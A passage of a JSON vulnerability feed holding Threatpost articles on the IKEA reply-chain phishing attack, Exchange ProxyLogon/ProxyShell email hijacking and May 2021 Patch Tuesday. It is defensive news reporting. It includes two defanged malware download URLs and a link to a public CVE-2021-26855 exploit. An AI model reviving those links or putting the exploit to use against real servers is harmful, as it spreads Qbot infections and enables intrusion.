{"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-30T15:47:49", "description": "As of Friday \u2013 as in, shopping-on-steroids Black Friday \u2013 retail titan IKEA was wrestling with a then-ongoing reply-chain email phishing attack in which attackers were malspamming replies to stolen email threads.\n\n[BleepingComputer](<https://www.bleepingcomputer.com/news/security/ikea-email-systems-hit-by-ongoing-cyberattack/>) got a look at internal emails \u2013 one of which is replicated below \u2013 that warned employees of the attack, which was targeting the company\u2019s internal email inboxes. The phishing emails were coming from internal IKEA email addresses, as well as from the systems compromised at the company\u2019s suppliers and partners.\n\n> \u201cThere is an ongoing cyberattack that is targeting Inter IKEA mailboxes. Other IKEA organisations, suppliers, and business partners are compromised by the same attack and are further spreading malicious emails to persons in Inter IKEA.\n> \n> \u201cThis means that the attack can come via email from someone that you work with, from any external organisation, and as reply to an already ongoing conversation. It is therefore difficult to detect, for which we ask you to be extra cautious.\u201d \u2013IKEA internal email to employees.\n\nAs of Tuesday morning, the company hadn\u2019t seen any evidence of its customers\u2019 data, or business partners\u2019 data, having been compromised. \u201cWe continue to monitor to ensure that our internal defence mechanisms are sufficient,\u201d the spokesperson said, adding that \u201cActions have been taken to prevent damages\u201d and that \u201ca full-scale investigation is ongoing.\u201d____\n\nThe spokesperson said that the company\u2019s \u201chighest priority\u201d is that \u201cIKEA customers, co-workers and business partners feel certain that their data is secured and handled correctly.\u201d\n\nIKEA didn\u2019t respond to Threatpost\u2019s queries about whether the attack has been contained or if it\u2019s still ongoing.\n\n## Example Phishing Email\n\nIKEA sent its employees an example phishing email, shown below, that was received in Microsoft Outlook. The company\u2019s IT teams reportedly pointed out that the reply-chain emails contain links ending with seven digits. Employees were warned against opening the emails, regardless of who sent them, and were asked to immediately report the phishing emails to the IT department if they receive them.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/29144159/phishing-email-e1638214934826.jpeg>)\n\nExample phishing email sent to IKEA employees. Source: BleepingComputer.\n\n## Exchange Server Attacks D\u00e9j\u00e0 Vu?\n\nThe attack sounds familiar: Earlier this month, Trend Micro published a [report](<https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html>) about attackers who were doing the same thing with replies to hijacked email threads. The attackers were gnawing on the ProxyLogon and ProxyShell vulnerabilities in Microsoft Exchange Server to hijack email chains, by malspamming replies to ongoing email threads and hence boosting the chance that their targets would click on malicious links that lead to malware infection.\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nAs security experts have noted, hijacking email replies for malspam campaigns is a good way to slip past people\u2019s spam suspicions and to avoid getting flagged or quarantined by email gateways.\n\nWhat was still under discussion at the time of the Trend Micro report: Whether the offensive was delivering SquirrelWaffle, the new email loader that [showed up](<https://threatpost.com/squirrelwaffle-loader-malspams-packing-qakbot-cobalt-strike/175775/>) in September, or whether SquirrelWaffle was just one piece of malware among several that the campaigns were dropping.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22122626/Malicious-Microsoft-Excel-document--e1637602000585.png>)\n\nMalicious Microsoft Excel document. Source: Trend Micro.\n\nCisco Talos researchers first [got wind](<https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+feedburner%2FTalos+%28Talos%E2%84%A2+Blog%29>) of the SquirrelWaffle malspam campaigns beginning in mid-September, when they saw boobytrapped Microsoft Office documents delivering [Qakbot malware](<https://threatpost.com/prolock-ransomware-qakbot-trojan/155828/>) and the penetration-testing tool [Cobalt Strike](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>) \u2013 two of the most common threats regularly observed targeting organizations around the world. The Office documents infected systems with SquirrelWaffle in the initial stage of the infection chain.\n\nSquirrelWaffle campaigns are known for using stolen email threads to increase the chances that a victim will click on malicious links. Those rigged links are tucked into an email reply, similar to how the virulent [Emotet](<https://threatpost.com/emotet-takedown-infrastructure-netwalker-offline/163389/>) malware \u2013 typically spread via malicious emails or text messages \u2013 has been known to work.\n\nTrend Micro\u2019s incident-response team had decided to look into what its researchers believed were SquirrelWaffle-related intrusions in the Middle East, to figure out whether the attacks involved the notorious, [oft-picked-apart](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) [ProxyLogon](<https://threatpost.com/deadringer-targeted-exchange-servers-before-discovery/168300/>) and [ProxyShell](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) Exchange server vulnerabilities.\n\nTheir conclusion: Yes, the intrusions were linked to ProxyLogon and ProxyShell attacks on unpatched Exchange servers, as evidenced by the IIS logs of three compromised servers, each compromised in a separate intrusion, all having been exploited via the ProxyShell and ProxyLogon vulnerabilities [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>), [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) and [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>).\n\nIn the Middle East campaign that Trend Micro analyzed, the phishing emails contained a malicious Microsoft Excel doc that did [what malicious Excel documents do](<https://threatpost.com/hackers-update-age-old-excel-4-0-macro-attack/154898/>): It prompted targets to choose \u201cEnable Content\u201d to view a protected file, thus launching the infection chain.\n\nSince IKEA hasn\u2019t responded to media inquiries, it\u2019s impossible to say for sure whether or not it has suffered a similar attack. However, there are yet more similarities between the IKEA attack and the Middle East attack analyzed by Trend Micro earlier this month. Specifically, as BleepingComputer reported, the IKEA reply-email attack is likewise deploying a malicious Excel document that similarly instructs recipients to \u201cEnable Content\u201d or \u201cEnable Editing\u201d to view it.\n\nTrend Micro shared a screen capture, shown below, of how the malicious Excel document looked in the Middle East campaign:\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22122626/Malicious-Microsoft-Excel-document--e1637602000585.png>)\n\nMalicious Microsoft Excel document. Source: Trend Micro.\n\n## You Can\u2019t Trust Email from \u2018Someone You Know\u2019\n\nIt\u2019s easy to mistake the malicious replies as coming from legitimate senders, given that they pop up in ongoing email threads. Saryu Nayyar, CEO of Gurucul, noted that IKEA employees are learning the hard way that replies in threads aren\u2019t necessarily legitimate and can be downright malicious.\n\n\u201cIf you get an email from someone you know, or that seems to continue an ongoing conversation, you are probably inclined to treat it as legitimate,\u201d she told Threatpost via email on Monday. \u201cHowever, IKEA employees are finding out otherwise. They are being attacked by phishing emails that are often purportedly from known sources, and may be carrying the Emotet or Qbot trojans to further infect the system and network.\u201d\n\nThis attack is \u201cparticularly insidious,\u201d she commented, in that it \u201cseemingly continues a pattern of normal use.\u201d\n\n## No More Ignoring Quarantine\n\nWith such \u201cnormal use\u201d patterns lulling would-be victims into letting down their guards, it raises the possibility that employees might assume that email filters were mistaken if they quarantined the messages.\n\nThus, IKEA\u2019s internal email advised employees that its IT department was disabling the ability to release emails from quarantine. As it is, its email filters were identifying at least some of the malicious emails:\n\n> \u201cOur email filters can identify some of the malicious emails and quarantine them. Due to that the email could be a reply to an ongoing conversation, it\u2019s easy to think that the email filter made a mistake and release the email from quarantine. We are therefore until further notice disabling the possibility for everyone to release emails from quarantine.\u201d \u2013IKEA internal email to employees.\n\n## Is Training a Waste of Time?\n\nWith such sneaky attacks as these, is training pointless? Some say yes, some say no.\n\nErich Kron, security awareness advocate at [KnowBe4](<https://u7061146.ct.sendgrid.net/ls/click?upn=4tNED-2FM8iDZJQyQ53jATUavSzE-2FiwjSkZ-2BMZMLjTD68bBzltWsjOj4iPYBhQEjDkwmuP_q07lK5GAAVvAnbc-2Fr-2FBDhAPhoMvwzp-2Bdh4wgfTcF0AUhu01ZMXdKNJrsN0iCyDU7ehW0N22Ype9yCK1TM6XYzZcULka2hXrkxot-2FYcsNMOW-2Fi7ZSbc4BW4Y4w5w74JadqFiCZdgYU0Y0aYb-2FD61SsSN5WSYToKPBxI2VArzhMwftrf78GbiRjwM9LzhmNBFfpMuXBsqYiKB-2B-2F-2BBM3106r2sgW-2Be451MnVYlMzEVQ43u-2Fx2JCoSpeITOcIPo6Gi3VBNSVcUaapZzArkSDh5SZ2Cih-2F-2FVdRBgHXCsqyWXs7po0-2FS83TsiYRB3U8HOgtt0HT6BGdSMjxi-2FVc6P1ZgVny6ZGKAKxbHvydLCfU5zrtFQ-3D>), is pro-training, particularly given how damaging these attacks can be.\n\n\u201cCompromised email accounts, especially those from internal email systems with access to an organization\u2019s contact lists, can be very damaging, as internal emails are considered trusted and lack the obvious signs of phishing that we are used to looking for,\u201d he told Threatpost via email on Monday. \u201cBecause it is from a legitimate account, and because cybercriminals often inject themselves into previous legitimate conversations, these can be very difficult to spot, making them very effective.\n\n\u201cThese sorts of attacks, especially if the attackers can gain access to an executive\u2019s email account, can be used to spread ransomware and other malware or to request wire transfers to cybercriminal-owned bank accounts, among other things,\u201d Kron said.\n\nHe suggested training employees not to blindly trust emails from an internal source, but to hover over links and to consider the context of the message. \u201cIf it does not make sense or seems unusual at all, it is much better to pick up the phone and quickly confirm the message with the sender, rather than to risk a malware infection or falling victim to a scam,\u201d he said.\u201d\n\nIn contrast, Christian Espinosa, managing director of [Cerberus Sentinel](<https://u7061146.ct.sendgrid.net/ls/click?upn=4tNED-2FM8iDZJQyQ53jATUc1h7F6EeKyqQHDAzxY6FeBG4AZ1lNaZ-2Fme9HKLAKT7PeL3x_q07lK5GAAVvAnbc-2Fr-2FBDhAPhoMvwzp-2Bdh4wgfTcF0AUhu01ZMXdKNJrsN0iCyDU7ehW0N22Ype9yCK1TM6XYzZcULka2hXrkxot-2FYcsNMOW-2Fi7ZSbc4BW4Y4w5w74JadqFiCZdgYU0Y0aYb-2FD61SsSN5WSYToKPBxI2VArzhMwftrf78GbiRjwM9LzhmNBFfpMuXBsqYiKB-2B-2F-2BBM3106r8Wex0T7OFTT8vFIbMA9T-2BlDgGhDFXEelC-2FWPjZXKe9NWtbBbYafHTvkVre5k1vKi3GgofOJKSR-2F2xlpyW7kQklpPEA59unEm4rAKnCodaK-2FrXGwLA5yk9gY1MBMzuyaJeG4mVY1yL-2F3YI1d-2BMmcWiY-3D>), is a firm vote for the \u201ctraining is pointless\u201d approach.\n\n\u201cIt should be evident by now that awareness and phishing training is ineffective,\u201d he told Threatpost via email on Monday. \u201cIt\u2019s time we accept \u2018users\u2019 will continuously fall for phishing scams, despite how much \u2018awareness training\u2019 we put them through.\u201d\n\nBut what options do we have? Espinosa suggested that cybersecurity defense playbooks \u201cshould focus on items that reduce risk, such as application whitelisting, which would have stopped this attack, as the \u2018malware\u2019 would not be whitelisted.\u201d\n\nHe pointed to other industries that have compensated for human factors, such as transportation. \u201cDespite awareness campaigns, the transportation industry realized that many people did not \u2018look\u2019 before turning across traffic at a green light,\u201d Espinosa said. \u201cInstead of blaming the drivers, the industry changed the traffic lights. The newer lights prevent drivers from turning across traffic unless there is a green arrow.\u201d\n\nThis change saved thousands of lives, he said, and it\u2019s high time that the cybersecurity industry similarly \u201ctakes ownership.\u201d\n\n**_There\u2019s a sea of unstructured data on the internet relating to the latest security threats._**[ **_REGISTER TODAY_**](<https://threatpost.com/webinars/security-threats-natural-language-processing/?utm_source=In+Article&utm_medium=article&utm_campaign=Decoding+the+Data+Ocean:+Security+Threats+%26+Natural+Language+Processing&utm_id=In+Article>)**_ to learn key concepts of natural language processing (NLP) and how to use it to navigate the data ocean and add context to cybersecurity threats (without being an expert!). This_**[ **_LIVE, interactive Threatpost Town Hall_**](<https://threatpost.com/webinars/security-threats-natural-language-processing/?utm_source=In+Article&utm_medium=article&utm_campaign=Decoding+the+Data+Ocean:+Security+Threats+%26+Natural+Language+Processing&utm_id=In+Article>)**_, sponsored by Rapid 7, will feature security researchers Erick Galinkin of Rapid7 and Izzy Lazerson of IntSights (a Rapid7 company), plus Threatpost journalist and webinar host, Becky Bracken._**\n\n[**_Register NOW_**](<https://threatpost.com/webinars/security-threats-natural-language-processing/?utm_source=In+Article&utm_medium=article&utm_campaign=Decoding+the+Data+Ocean:+Security+Threats+%26+Natural+Language+Processing&utm_id=In+Article>)_** for the LIVE event!**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-29T21:22:12", "type": "threatpost", "title": "IKEA Hit by Email Reply-Chain Cyberattack", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-11-29T21:22:12", "id": "THREATPOST:736F24485446EFF3B3797B31CE9DAF1D", "href": "https://threatpost.com/ikea-email-reply-chain-attack/176625/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-23T00:36:02", "description": "Attackers are gnawing on the ProxyLogon and ProxyShell vulnerabilities in Microsoft Exchange Server to hijack email chains, by malspamming replies to ongoing email threads, researchers say.\n\nWhat\u2019s still under discussion: whether the offensive is delivering SquirrelWaffle, the new email loader that [showed up](<https://threatpost.com/squirrelwaffle-loader-malspams-packing-qakbot-cobalt-strike/175775/>) in September, or whether SquirrelWaffle is just one piece of malware among several that the campaigns are dropping.\n\nCisco Talos researchers first [got wind](<https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+feedburner%2FTalos+%28Talos%E2%84%A2+Blog%29>) of the SquirrelWaffle malspam campaigns beginning in mid-September, when they saw boobytrapped Microsoft Office documents delivering [Qakbot malware](<https://threatpost.com/prolock-ransomware-qakbot-trojan/155828/>) and the penetration-testing tool [Cobalt Strike](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>) \u2013 two of the most common threats regularly observed targeting organizations around the world. The Office documents infected systems with SquirrelWaffle in the initial stage of the infection chain.\n\nSquirrelWaffle campaigns are known for using stolen email threads to increase the chances that a victim will click on malicious links. Those rigged links are tucked into an email reply, similar to how the virulent [Emotet](<https://threatpost.com/emotet-takedown-infrastructure-netwalker-offline/163389/>) malware \u2013 typically spread via malicious emails or text messages \u2013 has been known to work.\n\n## Slipping Under People\u2019s Noses\n\nIn a [report](<https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html>) posted on Friday, Trend Micro researchers \u200b\u200bMohamed Fahmy, Sherif Magdy and Abdelrhman Sharshar said that hijacking email replies for malspam is a good way to slip past both people\u2019s spam suspicions and to avoid getting flagged or quarantined by email gateways.\n\n\u201cDelivering the malicious spam using this technique to reach all the internal domain users will decrease the possibility of detecting or stopping the attack, as the mail [gateways] will not be able to filter or quarantine any of these internal emails,\u201d they wrote.\n\nThe attacker also didn\u2019t drop, or use, tools for lateral movement after gaining access to the vulnerable Exchange servers, Trend Micro said. Thus, they left no tracks, as \u201cno suspicious network activities will be detected. Additionally, no malware was executed on the Exchange servers that will trigger any alerts before the malicious email is spread across the environment.\u201d\n\n## Middle East Campaign\n\nTrend Micro\u2019s Incident Response team had decided to look into what researchers believe are SquirrelWaffle-related intrusions in the Middle East, to figure out whether the attacks involved the notorious Exchange server vulnerabilities.\n\nThey shared a screen capture, shown below, that\u2019s representative of the malicious email replies that showed up in all of the user inboxes of one affected network, all sent as legitimate replies to existing threads, all written in English.\n\nThey found that other languages were used in different regions outside of the Middle East attack they examined. Still, in the intrusions they analyzed that were outside of the Middle East, most of the malicious emails were written in English, according to the report.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22101946/malicious-spam-received-by-targets-e1637594408162.png>)\n\nMalicious spam received by targets. Source: Trend Micro.\n\n\u201cWith this, the attackers would be able to hijack legitimate email chains and send their malicious spam as replies to the said chains,\u201d the researchers wrote.\n\n## Who\u2019s Behind This?\n\n[Cryptolaemus](<https://www.zdnet.com/article/meet-the-white-hat-group-fighting-emotet-the-worlds-most-dangerous-malware/>) researcher [TheAnalyst](<https://twitter.com/ffforward>) disagreed with Trend Micro on its premise that SquirrelWaffle is actually acting as a malware dropper for Qbot or other malwares. Rather, TheAnalyst asserted on Friday that the threat actor is dropping both SquirrelWaffle and Qbot as [discrete payloads](<https://twitter.com/ffforward/status/1461810466720825352>), and the most recent [confirmed SquirrelWaffle drop](<https://twitter.com/ffforward/status/1461810488870944768>) it has seen was actually on Oct. 26.\n\n> it makes it easy for us who tracks them to identify them. A TTP they always comes back to is links to maldocs in stolen reply chains. They are known to deliver a multitude of malware like [#QakBot](<https://twitter.com/hashtag/QakBot?src=hash&ref_src=twsrc%5Etfw>) [#Gozi](<https://twitter.com/hashtag/Gozi?src=hash&ref_src=twsrc%5Etfw>) [#IcedID](<https://twitter.com/hashtag/IcedID?src=hash&ref_src=twsrc%5Etfw>) [#CobaltStrike](<https://twitter.com/hashtag/CobaltStrike?src=hash&ref_src=twsrc%5Etfw>) and maybe others. >\n> \n> \u2014 TheAnalyst (@ffforward) [November 19, 2021](<https://twitter.com/ffforward/status/1461810468323004417?ref_src=twsrc%5Etfw>)\n\nWith regards to who\u2019s behind the activity, TheAnalyst said that the actor/activity is tracked as tr01/TR (its QakBot affiliate ID)[ TA577](<https://twitter.com/hashtag/TA577?src=hashtag_click>) by Proofpoint and as ChaserLdr by[ Cryptolaemus](<https://twitter.com/Cryptolaemus1>) and that the activity goes back to at least 2020. The actors are easy to track, TheAnalyst said, given small tweaks to their tactics, techniques and procedures (TTPs).\n\nOne such TTP that tr01 favors is adding links to malicious documents included in stolen reply chains, TheAnalyst noted. The threat actor is known to deliver \u201ca multitude of malware,\u201d they said, such as [QakBot](<https://threatpost.com/prolock-ransomware-qakbot-trojan/155828/>), [Gozi](<https://threatpost.com/banking-trojans-nymaim-gozi-merge-to-steal-4m/117412/>), [IcedID](<https://threatpost.com/icedid-banking-trojan-surges-emotet/165314/>), Cobalt Strike and potentially more.\n\n## The Old \u2018Open Me\u2019 Excel Attachment Trick\n\nThe malicious emails carried links (aayomsolutions[.]co[.]in/etiste/quasnam[]-4966787 and aparnashealthfoundation[.]aayom.com/quasisuscipit/totamet[-]4966787) that dropped a .ZIP file containing a malicious Microsoft Excel sheet that downloads and executes a malicious DLL related to the [Qbot](<https://threatpost.com/ta551-tactics-sliver-red-teaming/175651/>) banking trojan.\n\nWhat\u2019s particularly notable, Trend Micro said, is that real account names from the victim\u2019s domain were used as sender and recipient, \u201cwhich raises the chance that a recipient will click the link and open the malicious Microsoft Excel spreadsheets,\u201d according to the report.\n\nAs shown below, the Excel attachment does [what malicious Excel documents do](<https://threatpost.com/hackers-update-age-old-excel-4-0-macro-attack/154898/>): It prompts targets to choose \u201cEnable Content\u201d to view a protected file.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22122626/Malicious-Microsoft-Excel-document--e1637602000585.png>)\n\nMalicious Microsoft Excel document. Source: Trend Micro.\n\nTrend Micro offered the chart below, which shows the Excel file infection chain.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22132511/Excel_file_infection_chain__Source-_Trend_Micro_-e1637605525630.jpg>)\n\nExcel file infection chain. Source: Trend Micro.\n\n## The Exchange Tell-Tales\n\nThe researchers believe that the actors are pulling it off by targeting users who are relying on Microsoft Exchange servers that haven\u2019t yet been patched for the notorious, [oft-picked-apart](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) [ProxyLogon](<https://threatpost.com/deadringer-targeted-exchange-servers-before-discovery/168300/>) and [ProxyShell](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) vulnerabilities.\n\nTrend Micro found evidence in the IIS logs of three compromised Exchange servers, each compromised in a separate intrusion, all having been exploited via the vulnerabilities [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>), [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) and [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) \u2013 the same CVEs used in ProxyLogon (CVE-2021-26855) and ProxyShell (CVE-2021-34473 and CVE-2021-34523) intrusions, according to Trend Micro.\n\nThe IIS log also showed that the threat actor is using a [publicly available](<https://github.com/Jumbo-WJB/Exchange_SSRF>) exploit in its attack. \u201cThis exploit gives a threat actor the ability to get users SID and emails,\u201d the researchers explained. \u201cThey can even search for and download a target\u2019s emails.\u201d\n\nThe researchers shared evidence from the IIS logs, replicated below, that depicts the exploit code.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22125426/Exploiting-CVE-2021-26855-as-seen-in-the-IIS-logs-e1637603679782.png>)\n\nExploiting CVE-2021-26855, as demonstrated by the IIS logs. Source: Trend Micro.\n\nMicrosoft fixed the ProxyLogon vulnerabilities in [March](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) and the ProxyShell vulnerabilities in [May](<https://threatpost.com/wormable-windows-bug-dos-rce/166057/>). Those who\u2019ve applied the [May or July](<https://techcommunity.microsoft.com/t5/exchange-team-blog/proxyshell-vulnerabilities-and-your-exchange-server/ba-p/2684705>) updates are protected from all of these. Microsoft has [reiterated](<https://techcommunity.microsoft.com/t5/exchange-team-blog/proxyshell-vulnerabilities-and-your-exchange-server/ba-p/2684705>) that those who\u2019ve applied the ProxyLogon patch released in [March](<https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/>) aren\u2019t protected from ProxyShell vulnerabilities and should install the more recent security updates.\n\n## How to Fend Off ProxyLogon/ProxyShell Attacks\n\nExploiting ProxyLogon and ProxyShell enabled the attackers to slip past checks for malicious email, which \u201chighlights how users [play] an important part in the success or failure of an attack,\u201d Trend Micro observed. These campaigns \u201cshould make users wary of the different tactics used to mask malicious emails and files,\u201d the researchers wrote.\n\nIn other words, just because email comes from a trusted contact is no guarantee that any attachment or link it contains can be trusted, they said.\n\nOf course, patching is the number one way to stay safe, but Trend Micro gave these additional tips if that\u2019s not possible:\n\n * Enable virtual patching modules on all Exchange servers to provide critical level protection for servers that have not yet been patched for these vulnerabilities.\n * Use endpoint detection and response (EDR) solutions in critical servers, as it provides visibility to machine internals and detects any suspicious behavior running on servers.\n * Use endpoint protection design for servers.\n * Apply sandbox technology on email, network and web to detect similar URLs and samples.\n\n_**There\u2019s a sea of unstructured data on the internet relating to the latest security threats. REGISTER TODAY to learn key concepts of natural language processing (NLP) and how to use it to navigate the data ocean and add context to cybersecurity threats (without being an expert!). This [LIVE, interactive Threatpost Town Hall](<https://threatpost.com/webinars/security-threats-natural-language-processing/?utm_source=In+Article&utm_medium=article&utm_campaign=Decoding+the+Data+Ocean:+Security+Threats+%26+Natural+Language+Processing&utm_id=In+Article>), sponsored by Rapid 7, will feature security researchers Erick Galinkin of Rapid7 and Izzy Lazerson of IntSights (a Rapid7 company), plus Threatpost journalist and webinar host, Becky Bracken. **_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-22T19:26:25", "type": "threatpost", "title": "Attackers Hijack Email Using Proxy Logon/Proxyshell Flaws", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-11-22T19:26:25", "id": "THREATPOST:836083DB3E61D979644AE68257229776", "href": "https://threatpost.com/attackers-hijack-email-threads-proxylogon-proxyshell/176496/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-05-11T23:10:25", "description": "Microsoft\u2019s May Patch Tuesday release addressed a modest 55 cybersecurity vulnerabilities, including just four critical bugs. It\u2019s the smallest monthly update from the computing giant since 2020, but it does contain a patch for a concerning wormable vulnerability found in the Windows OS.\n\nThe good news is that none of the vulnerabilities are being actively exploited in the wild, according to Microsoft, though three are listed as publicly known.\n\n[The fixes](<https://msrc.microsoft.com/update-guide/en-us>) address security flaws across Microsoft Windows, .NET Core and Visual Studio, Internet Explorer (IE), Microsoft Office, SharePoint Server, Open-Source Software, Hyper-V, Skype for Business and Microsoft Lync, and Exchange Server. Besides the four critical bugs, 50 are rated \u201cimportant\u201d and one is moderate in severity.\n\n## **Critical Microsoft Security Patches for May 2021**\n\nThe critical bugs in this month\u2019s Patch Tuesday release are:\n\n * [CVE-2021-31166](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31166>): A wormable HTTP protocol-stack issue in Windows 10 and some versions of Windows Server allowing remote code-execution (RCE)\n * [CVE-2021-26419](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26419>): A scripting-engine memory corruption vulnerability in Internet Explorer 11 and 9 allowing RCE\n * [CVE-2021-31194](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31194>): An RCE bug in the Microsoft Windows Object Linking and Embedding (OLE) Automation\n * [CVE-2021-28476](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28476>): An RCE vulnerability in Microsoft Windows Hyper-V\n\n### **CVE-2021-31166 \u2013 Wormable**\n\nThis most concerning critical bug for researchers is an HTTP protocol-stack issue that would allow RCE with kernel privileges or a denial-of-service (DoS) attack. The HTTP protocol stack enables Windows and applications to communicate with other devices; it can be run standalone or in conjunction with Internet Information Services (IIS).\n\n\u201cIf exploited, this vulnerability could enable an unauthenticated attacker to send a specially crafted packet to a targeted server utilizing the HTTP protocol stack (http.sys) to process packets and ultimately, execute arbitrary code, and take control of the affected system,\u201d Eric Feldman, cybersecurity researcher with Automox, wrote in [an analysis](<https://blog.automox.com/automox-experts-weigh-in-may-patch-tuesday-2021>).\n\nWorse, Microsoft noted that the bug is wormable, so that it could be used to self-replicate across the internal network and affect internal services that may not have been exposed.\n\n\u201cThe vulnerability announced has the potential to be both directly impactful and is also exceptionally simple to exploit, leading to a remote and unauthenticated DoS (Blue Screen of Death) for affected products,\u201d Steve Povolny, head of advanced threat research and principle engineer at McAfee, said via email. \u201cWhile this vulnerability has the potential to lead to code execution in the Windows kernel, this type of weaponization is a much higher bar for exploitation. However, if RCE can be achieved, cybercriminals would likely have the capability to create a worm, leading to self-propagation of the vulnerability across networks and the internet.\u201d\n\n\u201cFor ransomware operators, this kind of vulnerability is a prime target for exploitation,\u201d Kevin Breen, director of cyber-threat research at Immersive Labs, told Threatpost. \u201cWormable exploits should always be a high priority, especially if they are for services that are designed to be public facing. As this specific exploit would not require any form of authentication, it\u2019s even more appealing for attackers, and any organization using HTTP.sys protocol stack should prioritize this patch.\u201d\n\nDustin Childs, researcher with Trend Micro\u2019s Zero Day Initiative (ZDI), noted [in a blog](<https://www.zerodayinitiative.com/blog/2021/5/11/the-may-2021-security-update-review>), \u201cBefore you pass this aside, Windows 10 can also be configured as a web server, so it is impacted as well. Definitely put this on the top of your test-and-deploy list.\u201d\n\n### **CVE-2021-26419**\n\nThis second critical bug affecting Microsoft\u2019s legacy browser allows RCE, and offers several avenues of attack, according to researchers.\n\n\u201cIn a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit the vulnerability through Internet Explorer and then convince a user to view the website,\u201d explained Feldman. \u201cAn attacker could also embed an ActiveX control marked \u2018safe for initialization\u2019 in an application or Microsoft Office document that hosts the IE rendering engine. The attacker could also take advantage of compromised websites and websites that accept or host user-provided content or advertisements. These websites could contain specially crafted content that could exploit the vulnerability.\u201d\n\nThe best way to counteract this bug is ditching IE, noted Breen.\n\n\u201cInternet Explorer needs to die \u2013 and I\u2019m not the only one that thinks so,\u201d he told Threatpost. \u201cIf you are an organization that has to provide IE11 to support legacy applications, consider enforcing a policy on the users that restricts the domains that can be accessed by IE11 to only those legacy applications. All other web browsing should be performed with a supported browser.\u201d\n\n### **CVE-2021-31194**\n\nThe third critical bug exists in the Microsoft Windows OLE Automation, which in and of itself should place it on the priority-patch list, according to researchers.\n\n\u201cTo exploit the vulnerability, an attacker could host a specially crafted website designed to invoke OLE automation through a web browser,\u201d explained 